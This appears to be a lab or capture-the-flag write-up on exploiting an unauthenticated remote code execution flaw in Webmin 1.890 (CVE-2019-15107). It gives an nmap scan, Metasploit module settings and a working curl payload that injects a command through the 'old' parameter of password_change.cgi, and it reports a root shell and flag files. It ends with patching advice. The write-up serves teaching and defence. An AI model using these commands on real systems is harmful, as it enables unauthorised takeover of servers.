来源

关联漏洞

描述

Research Objective: To conduct a comprehensive analysis and successful exploitation of a Remote Code Execution (RCE) vulnerability in Webmin version 1.890 (CVE-2019-15107), ultimately gaining full control over the target system.

介绍

Research Objective:
To conduct a comprehensive analysis and successful exploitation of a Remote Code Execution (RCE) vulnerability in Webmin version 1.890 (CVE-2019-15107), ultimately gaining full control over the target system.

Methodology:

Initial Reconnaissance:

Network scanning performed using Nmap:

bash
nmap -sV -sC -A -p- 10.201.105.185
Identified Webmin 1.890 service running on port 10000

Vulnerability Analysis:

Investigated the vulnerability mechanism in password_change.cgi

Confirmed the possibility of unauthenticated arbitrary command execution

Exploitation:

Implemented two attack vectors:

Using Metasploit Framework:

bash
use exploit/linux/http/webmin_backdoor
set RHOSTS 10.201.105.185
set LHOST tun0
exploit
Manual exploitation via curl:

bash
curl -k "https://10.201.105.185:10000/password_change.cgi" -d "user=root&pam=&expired=2&old=test|id&new1=test&new2=test"
Post-Exploitation:

Obtained interactive root shell

Conducted filesystem analysis

Discovered flag files:

bash
/home/dark/user.txt
/root/root.txt
Findings:

Successfully exploited CVE-2019-15107 vulnerability

Gained complete root privileges on the system

Demonstrated critical importance of timely software updates

Technical Conclusions:

Vulnerability allows arbitrary command execution via "old" parameter injection

Lack of authentication checks makes this particularly dangerous

Version 1.890 contains a backdoor patched in later releases

Security Recommendations:

Immediate upgrade to current Webmin version

Restrict management panel access by IP

Regular security audits of web applications

Further Research Directions:

Analysis of other Webmin vulnerabilities

Development of custom exploit without Metasploit

Investigation of persistence techniques in compromised systems

This case study demonstrates the critical importance of timely system updates and the necessity for continuous vulnerability monitoring in deployed software. The research provides practical insights into modern web application exploitation techniques while emphasizing fundamental security principles.

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